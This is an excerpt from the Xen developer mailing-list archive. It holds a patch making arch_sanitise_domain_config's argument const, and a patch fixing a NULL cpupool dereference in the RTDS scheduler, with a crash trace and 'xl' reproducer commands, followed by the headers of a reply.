index a333f06119=2E=2E82a289af85 100644
--- a/xen/arch/ppc/stubs=2Ec
+++ b/xen/arch/ppc/stubs=2Ec
@@ -162,7 +162,7 @@ void arch_vcpu_destroy(struct vcpu *v)
     BUG_ON("unimplemented");
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     BUG_ON("unimplemented");
 }
diff --git a/xen/arch/riscv/domain=2Ec b/xen/arch/riscv/domain=2Ec
index 2819ff4e7c=2E=2Ee096a53cb5 100644
--- a/xen/arch/riscv/domain=2Ec
+++ b/xen/arch/riscv/domain=2Ec
@@ -289,7 +289,7 @@ void sync_vcpu_execstate(struct vcpu *v)
     /* Nothing to do -- no lazy switching */
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     return 0;
 }
diff --git a/xen/arch/x86/domain=2Ec b/xen/arch/x86/domain=2Ec
index 4252339978=2E=2E35f591ab5d 100644
--- a/xen/arch/x86/domain=2Ec
+++ b/xen/arch/x86/domain=2Ec
@@ -590,7 +590,7 @@ void arch_vcpu_destroy(struct vcpu *v)
         ASSERT_UNREACHABLE();
 }
=20
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config)
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig)
 {
     bool hvm =3D config->flags & XEN_DOMCTL_CDF_hvm;
     bool hap =3D config->flags & XEN_DOMCTL_CDF_hap;
@@ -633,13 +633,6 @@ int arch_sanitise_domain_config(struct xen_domctl_cre=
atedomain *config)
         return -EINVAL;
     }
=20
-    if ( !hvm )
-        /*
-         * It is only meaningful for XEN_DOMCTL_CDF_oos_off to be clear
-         * for HVM guests=2E
-         */
-        config->flags |=3D XEN_DOMCTL_CDF_oos_off;
-
     if ( nested_virt && !hvm_nested_virt_supported() )
     {
         dprintk(XENLOG_INFO, "Nested virt requested but not available\n")=
;
@@ -833,6 +826,13 @@ int arch_domain_create(struct domain *d,
=20
     spin_lock_init(&d->arch=2Ee820_lock);
=20
+    /*
+     * It is only meaningful for XEN_DOMCTL_CDF_oos_off to be clear for H=
VM
+     * guests=2E
+     */
+    if ( !is_hvm_domain(d) )
+        d->options |=3D XEN_DOMCTL_CDF_oos_off;
+
     if ( d->domain_id && cpu_has_amd_erratum(&boot_cpu_data, AMD_ERRATUM_=
121) )
     {
         if ( !opt_allow_unsafe )
diff --git a/xen/include/xen/sched=2Eh b/xen/include/xen/sched=2Eh
index 011292e9f7=2E=2E66ed7454ba 100644
--- a/xen/include/xen/sched=2Eh
+++ b/xen/include/xen/sched=2Eh
@@ -756,9 +756,11 @@ static inline void domain_update_node_affinity(struct=
 domain *d)
=20
 /*
  * To be implemented by each architecture, sanity checking the configurat=
ion
- * and filling in any appropriate defaults=2E
+ * requested by the toolstack=2E config is not modified: createdomain is
+ * input-only, and the toolstack is expected to have already resolved any
+ * defaults=2E
  */
-int arch_sanitise_domain_config(struct xen_domctl_createdomain *config);
+int arch_sanitise_domain_config(const struct xen_domctl_createdomain *con=
fig);
=20
 /*
  * Create a domain: the configuration is only necessary for real domain
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a0c.507d24c602eb9ec1.19f6b44e93e.e9386eede43bbb4=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:20:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:20:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364156.1615494 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMxA-0007jZ-5C; Thu, 16 Jul 2026 14:20:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364156.1615494; Thu, 16 Jul 2026 14:20:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMxA-0007jS-2b; Thu, 16 Jul 2026 14:20:44 +0000
Received: by outflank-mailman (input) for mailman id 1364156;
 Thu, 16 Jul 2026 14:20:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Oleksii_Moisieiev@epam.com>) id 1wkMx8-0007jK-Fz
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:20:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMx7-006niv-Lb
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:20:41 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a58e8b5-2eae-0a2a0a5409dd-0a2a450bb9be-18
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:20:41 +0200
Received: from [40.107.159.137]
 (helo=OSPPR02CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Oleksii_Moisieiev@epam.com>)
 id 6a58e8b8-b7e8-0a2a450b0019-286b9f8991ce-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:20:41 +0200
Received: from DU5PR03MB10263.eurprd03.prod.outlook.com (2603:10a6:10:519::5)
 by DU0PR03MB8575.eurprd03.prod.outlook.com (2603:10a6:10:3e6::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.11; Thu, 16 Jul
 2026 14:20:39 +0000
Received: from DU5PR03MB10263.eurprd03.prod.outlook.com
 ([fe80::8c9e:b301:61c0:3908]) by DU5PR03MB10263.eurprd03.prod.outlook.com
 ([fe80::8c9e:b301:61c0:3908%6]) with mapi id 15.21.0202.018; Thu, 16 Jul 2026
 14:20:39 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=L5Y3xmiwg/82BVfOdSZBunK2tQ8tACJrVqDHCpMqTi29Sbr6T7Ix3IesiV1B0X9jCrGdd4b0+kUV1axMlrcLQ2/8dgsLesjLEK4zYmi/ChQHie0aajMot+Ru6Hq624Hk5h3KHzC47lVrqR4wCG5n/G5g9799+98aGbuyCq+FEuTs3AuVC9HdbLBl5bDPBgZ686C7JDPxO1AmW36g2FfFsmzZcOcWJD/VMHsUPdPD9uAWsHCRmnI1gllT3xkjuvix5OmXTENo24I7pa02/KWYEpcpqDqTGSsvZqk4rhvQzKr6HCEAPiGP4Ic7rSikDH1t2+v4mPu14dWGen/TP8z/rg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=N+mCsMiInq8NEJ/T0ETRjd5+WVO02lw0DT/cOeD67x4=;
 b=fp8i2ksFZcTMRi0rbBtYACh7gL++JjVObi8zaHQTbUK8DmpVgndiaTfdcO1FCTld1QlMl7x3/ZFvo3bus1W3+0/LI/16k83UOkPeCDdJ9D+5RYc9tBYed90uktv3CveupmxjQosJGdVZBpdDUzH4rP5jvp2SZsQBLPXmeTHTZoF9vmBniBo4G1Sasc5qqOPPAKGmzF1mqhrRBhrJUIi6qikDnRdf6zAMS2ZLZ0u9vOWJaK1CepEXck/dbGQvHDIA493Jgyy0HNHEAfN9AVrVMKKzCJrLdasgkUo8Dkfl8bWh8rZDEzvnPiEdpo9F6a4YglnU1p22LRBrooFmu4zutA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=N+mCsMiInq8NEJ/T0ETRjd5+WVO02lw0DT/cOeD67x4=;
 b=Jhezi53oi1JnxSQTu9gCEaM8SO1oFILun8wsHKgmpfWivFqBp0LRlSlUuxkXZqGRZXXMHZ/NVCtvOL87+ZCxs9dByUoHgEMm/Pq2r5TnWYJpULI0AxvpXIJqRClFV5jhi/4dSTxS7CUI2jPrbhN3J2JfFLea0Od3edQxxw1AesDxPZUQ8OM8Dxj8M+Wr6PeXZwUqnXi9eWHRI+blrFSr4GYjY0Wi0WGPLJW3vzTOeDDMA8xxqYb88l75oVK/NaY2XwPwEMeM9XYDq7dvQy5hvdXE1eHlObvQ3qrcEN4wn1P9Pgf6V5u/L6gQJw66kY7wX4y2oaO1dhx5dkKpZcZv7g==
From: Oleksii Moisieiev <Oleksii_Moisieiev@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
	Juergen Gross <jgross@suse.com>, Meng Xu <mengxu@cis.upenn.edu>, Oleksii
 Moisieiev <Oleksii_Moisieiev@epam.com>
Subject: [PATCH] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
Thread-Topic: [PATCH] xen/sched: rt: fix NULL cpupool dereference in
 move_repl_timer()
Thread-Index: AQHdFS5GI2vrNSoeg0mZ8r0I1QFdPg==
Date: Thu, 16 Jul 2026 14:20:39 +0000
Message-ID:
 <38cc09ca49bb020d4b13ead36e4c9f04da2d00e5.1784211528.git.oleksii_moisieiev@epam.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: DU5PR03MB10263:EE_|DU0PR03MB8575:EE_
x-ms-office365-filtering-correlation-id: cbb7bb1e-7953-466b-5cfa-08dee3456940
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|56012099006|11063799006|18002099003|10067099003|38070700021;
x-microsoft-antispam-message-info:
 PemxIjbiWRYhbx2ObeR/RjPpZCmtYf3ZE9MeKwLIRHtcWYKTjuAsmG4WPttltc1CUU0H8eVUMD2WZnl4jv4g028BQ83nobqCPYeFBah66jENyQqq1oZdMnKXlNe2ze9eH9ly9ebJZt1kYiu+vpU+5ScchOaU/s8mOBuwhAPgLMVMiReCJ5kNgCuXz/CV1zg1I/SN8eRUwUtFyhsutBlA5IwQ7OjAE5f8vpqOYaWu6s7ujK8doMnQyK5fI9zkGsDkHODtawjbN4wbD+RxGI3wrLCBfsYEY1u9kiNLk27pA1dmIuLTqIDC+YKYisLbYKjufUCLOBsuMNHL5TfMWGDpqp/dKgD4pTr9C3Cf4oDH+lsvBocB17wl+puzhA/70iyga2l9+Xflz5KdhUmMAUAKDbFf1yGsPXNbG6CUKAZMdbAzAo6+WyHjy3uI+k58WaZi370crWDJl+j2XLngT7GUX/5hc97LNE8A49miy26vKzAxDKl8f5WU8yhb8hfx+AmI0Y4ou5CffmekB7c6Y3U5gO9lUiX/oAnQE9x1V1htIzfYRXn2GbDtGZXS9c6flynM7JcUGOB9clKH4ciTHeSKDFCnJNIG+flWCqPjSNp8Y8RnCmtjopYSMI0o1RbEHshofxjXkoXWhjbCe9aXG3S1sWedckyiMhq0Gy1JIRClmkSiqtQDoCiQ2YVdbBgYBBqDSrRzpijcMFAfm0wt6B0ugKUxXkBREh3sPRNVDmM9Up8=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DU5PR03MB10263.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(56012099006)(11063799006)(18002099003)(10067099003)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?GCUW13SomtdUxt9PY5tW7D6xQnVL4kIRx+78SFbo+fyesNwyj1zUv2HyY2?=
 =?iso-8859-1?Q?ty0+WdnqZHmSabcC0KGso9bqg7OT1S9dz+cS38NQRsMhJPO4E39MKS6bEq?=
 =?iso-8859-1?Q?C0o71i0qTUhZ+48FzEgBAUuBKKqZwVZEmZ/JJE0v2l2n9hxipw7HFhFh2Q?=
 =?iso-8859-1?Q?V7zQS5fr49cxlnlcbrBPE3SZmADoOTPmOEKKmjj1qkgZt3XHTn/qrAxrCl?=
 =?iso-8859-1?Q?T4XoB/xuqPBKvcc9k0tMtOJTBE3gm64ImbD6uctbPCo4YlSb+14p3Hawnf?=
 =?iso-8859-1?Q?gPpt2T2qc0qlGlRpWm6cPj82VZzUo+r0o2rxEbd84/TadHRznFsQnjPtcF?=
 =?iso-8859-1?Q?nzZ3wSpat/yH2YJCEQzeouFJOP5WucifsawGaUMqIdy3IE6L8fI9d8FV1f?=
 =?iso-8859-1?Q?+ZqFwhdaurpqEZma5b4nQIwvIqYnhEwqM7WFNJkfMaUnx33ZG5iRVNROv3?=
 =?iso-8859-1?Q?sUK7eeBtGPxRkzZAZjDgMZGt+f9t2YF3q5haTNlFeau7N+IUt+mcjeKJaG?=
 =?iso-8859-1?Q?bWqxWggJUOsCngpzfktPADo6f1I5WpSy+ybfGO5AVi2pY+csy8H47M9EAU?=
 =?iso-8859-1?Q?tVLVJl8+ZzBmJ4VDdtZWu88facwmrkzM9u/h2tW3m55e7VlgrvLpvb8Mcq?=
 =?iso-8859-1?Q?FOBD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k1ixgcW+jVTQACgiQPlTxmNaHc7S5pRz107IkUl?=
 =?iso-8859-1?Q?vBg2MLjYhObhiOEdHxbHKd/hTvtTTX06k7JMqnYho5enU9Aa/svSgwA7mu?=
 =?iso-8859-1?Q?QW2MlqHfgndcBiI8w2EC8wvOMysyXGpyFgH0FG+MVURFXv7U6gBUiLQ+cn?=
 =?iso-8859-1?Q?LviYbH7Ox7+HWTUPX9JzZ07KlHldVfUGfEPEpwCODrOTs65iCJbfFtDdHu?=
 =?iso-8859-1?Q?dWqAhw6GZnAhtSTkrTR4b3V/WMzwkW9MPsbR1pWn+LBcCi9CMJJvyh4VcC?=
 =?iso-8859-1?Q?TKsDt6PQHb9hjSPwHYcmtHRt8tszsp0=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: DU5PR03MB10263.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: cbb7bb1e-7953-466b-5cfa-08dee3456940
X-MS-Exchange-CrossTenant-originalarrivaltime: 16 Jul 2026 14:20:39.1011
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 1Ex4F6QWwsXdiOwbekf7hrMoGTJKA+qKHmU/5jyCuECS2hogkzAN8uCHE40OqKrYU5XIrNDLjxeHmN2hs/FZg+FFsuddd0Dh4xN28xZhQfA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU0PR03MB8575
X-purgate-ID: tlsNG-42698a/1784211641-2C39B9EA-5E251781/0/0
X-purgate-type: clean
X-purgate-size: 2561

schedule_cpu_rm() clears the cpupool pointer of the scheduling
resource before calling sched_deinit_pdata():

    sr->cpupool =3D NULL;
    ...
    sched_deinit_pdata(data->old_ops, data->ppriv_old, cpu);

For RTDS, rt_deinit_pdata() calls move_repl_timer() when the
replenishment timer lives on the cpu being removed, and
move_repl_timer() dereferences get_sched_res(old_cpu)->cpupool
without checking it for NULL. Removing the last pCPU from an RTDS
cpupool therefore dereferences NULL + 0x10 (the res_valid member)
and panics:

    (XEN) Data Abort Trap. Syndrome=3D0x1c28005
    (XEN) Walking Hypervisor VA 0x10 on CPU0 via TTBR ...
    (XEN) Xen call trace:
    (XEN)    [<...>] find_next_bit+0x74/0xa8 (PC)
    (XEN)    [<...>] rt.c#move_repl_timer+0xb8/0xec (LR)
    (XEN)
    (XEN) Panic on CPU 0:
    (XEN) CPU0: Unexpected Trap: Data Abort

Reproducer, on any host with at least 2 pCPUs and RTDS compiled in
(observed on arm64, but the path is common code):

    xl cpupool-create name=3D"test" sched=3D"rtds"
    xl cpupool-cpu-remove Pool-0 1
    xl cpupool-cpu-add test 1
    xl cpupool-cpu-remove test 1

The last command moves the RTDS replenishment timer to cpu1 (first
and only cpu of the pool) and then removes cpu1, hitting the NULL
dereference in the sched_deinit_pdata() callback.

Treat a NULL cpupool like a cpupool with no remaining scheduling
resources and kill the timer, which is the intent of the existing
comment in move_repl_timer().

Fixes: b6f5334aeaca ("sched: fix cpu offlining with core scheduling")
Signed-off-by: Oleksii Moisieiev <oleksii_moisieiev@epam.com>
---

 xen/common/sched/rt.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/xen/common/sched/rt.c b/xen/common/sched/rt.c
index f1feb4384e..49a9b76b89 100644
--- a/xen/common/sched/rt.c
+++ b/xen/common/sched/rt.c
@@ -766,8 +766,9 @@ rt_switch_sched(struct scheduler *new_ops, unsigned int=
 cpu,
=20
 static void move_repl_timer(struct rt_private *prv, unsigned int old_cpu)
 {
-    cpumask_t *online =3D get_sched_res(old_cpu)->cpupool->res_valid;
-    unsigned int new_cpu =3D cpumask_cycle(old_cpu, online);
+    const struct cpupool *c =3D get_sched_res(old_cpu)->cpupool;
+    unsigned int new_cpu =3D c ? cpumask_cycle(old_cpu, c->res_valid)
+                             : nr_cpu_ids;
=20
     /*
      * Make sure the timer run on one of the cpus that are still available
--=20
2.43.0

base-commit: 959fa8800470e3d757b5a0bcd9394954ed7b923a
branch: amoi_sched_6=


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:30:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:30:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364173.1615504 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkN6O-0001Ix-0Q; Thu, 16 Jul 2026 14:30:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364173.1615504; Thu, 16 Jul 2026 14:30:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkN6N-0001Iq-TW; Thu, 16 Jul 2026 14:30:15 +0000
Received: by outflank-mailman (input) for mailman id 1364173;
 Thu, 16 Jul 2026 14:30:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkN6M-0001Ik-6T
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:30:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkN6L-0003CF-Bi
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:30:13 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58eae3-bab6-0a2a0a5309dd-0a2a4503afca-46
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:30:13 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58eaf5-fae8-0a2a45030019-d155dd2ae4e1-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:30:13 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-470174001a0so1773905f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 07:30:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4635a63esm25009949f8f.9.2026.07.16.07.30.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 07:30:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784212213; x=1784817013; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=QwBftSqCzw1ivw8deBYYtEs5r2oQbMcwrQdlD57rsTs=;
        b=D1pOhITuitnX4Wx8bRSNe5gzZK4cl+GnlcJDkrTKEa8Y1cxuxDF5mKeBhPjOXF5Ksq
         pubp1MydPpcxDcIyNs8LuTIpbBju001mt96Et4V3MPTzQa8uQLh7G0hTEqgl4sUoaiuC
         NYAv8LKgdwNmobYkFVzgm4SsYM22ajJb7hhyZ00lExX1v5hnfo9QKT0vAQuMQm1biAlE
         4Hqbu7b0KRdicne9lJWT3q5rhnnEyfDRiBlU/aKZnHhqKk99E1NgLDdUzVU7oaRJbBl1
         vaS60RAf1KVl8V8T3aloXrbE+aHVrbqkqi3oXZWHQhHp46i9JWuO6Mg7kAdScq3eawYQ
         5L2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784212213; x=1784817013;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=QwBftSqCzw1ivw8deBYYtEs5r2oQbMcwrQdlD57rsTs=;
        b=H51mIl+QhiaVPQBr8+tRxBPftejJx/QsbkpU2GMlVESvgWWfQnhsjlCTuHvgh9vUnR
         GwTT4N7Ns5HlErGjqvwRjrTCQl+qn6MZpN25TLAEuBlKUmH7xvcIcxpkakuPSZZI5Lxz
         qyODURpgCBUoynwcCIscsWGNPctmyOPjc10+wu8ddCaahfe4rdrp1eWiSf1W4u86LfhO
         lP68RnPu32yEuyjU9odHgrjbTylqv+ghwjtrLXT8RAn2sweuD0ZPCE6j3vupLOmc4hKw
         5TjrsLZcfxREJH7wMU7j5bdOQYqEkbgtGsqJqrhNSu5sErDzrfmcyHuv73hqjdR/+lOq
         o7Vw==
X-Forwarded-Encrypted: i=1; AHgh+Ro70Vym7qDG5DMojp2tPvKMkvuEWq6vk/zHYl3W9a5cQnHP/x9UjZlgoyfm4wQa+juSyTXP3F3/NbA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwF/6uM/x1yv11UDNJEywC7UXgF8EDbsnGlN0JU7IPFrx3duCkg
	Gkvlb7rLJrrBkLRmd0zMF0X6BBZnx4uwyU1w1hxcWQ5v3RsHCEXZEfO+R1ZTKSQzMA==
X-Gm-Gg: AfdE7clu2tLRJ3AX4QGxKsMQEx2kQRZItsrQMLKXn8TD8RJQHLx/kPf2RM6fHvEM/Kp
	UL46yuJS2H04fCn7ZIzu1n1dYu0KvlRoY7IEP5X+21NelLJ2YFnevRPkAK2Rlm7yKqYne1iY6G0
	BEUg95ne5iosZOP+oN89S20/eOTUb8Hdr1+vG83xRIif7bE0xYa+Eib9Q9gbSWzfuk7nqxYY4d/
	q+fVUppVbP1a/DRicFUt9aSimEOWGChEVWqGwNykkCfJgtETOhs1jU4ZrPaS2za+BvFhatMuCSR
	6uy9sSaYQT5kx39ZQFxZ8uxjowGIxgJIujgiatikVBj29OV+n4nX6O2twkDcj+/U5uFtFn+oGiB
	5gmzKZtW+0cjIyk/9a10+TYCTOFpXV9VBQ7vk7TK1/NxrvxzRvxOr5WMGFJRGftF5THAlxDRe78
	t/apiZ2tH8DAOVsSVEBLfGbm8TfZNUm2cIrETyxob/efvc46hTC8htSNc8V6GIiz4tFUGDd2wkN
	U5x
X-Received: by 2002:a05:6000:41d0:b0:47d:ef95:c4f8 with SMTP id ffacd0b85a97d-47f2dcee1c6mr25715599f8f.54.1784212212586;
        Thu, 16 Jul 2026 07:30:12 -0700 (PDT)
Message-ID: <7a8173b4-f2c1-4ea4-a5a9-d7dfeae403ba@suse.com>
Date: Thu, 16 Jul 2026 16:30:10 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
 <1784208936.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
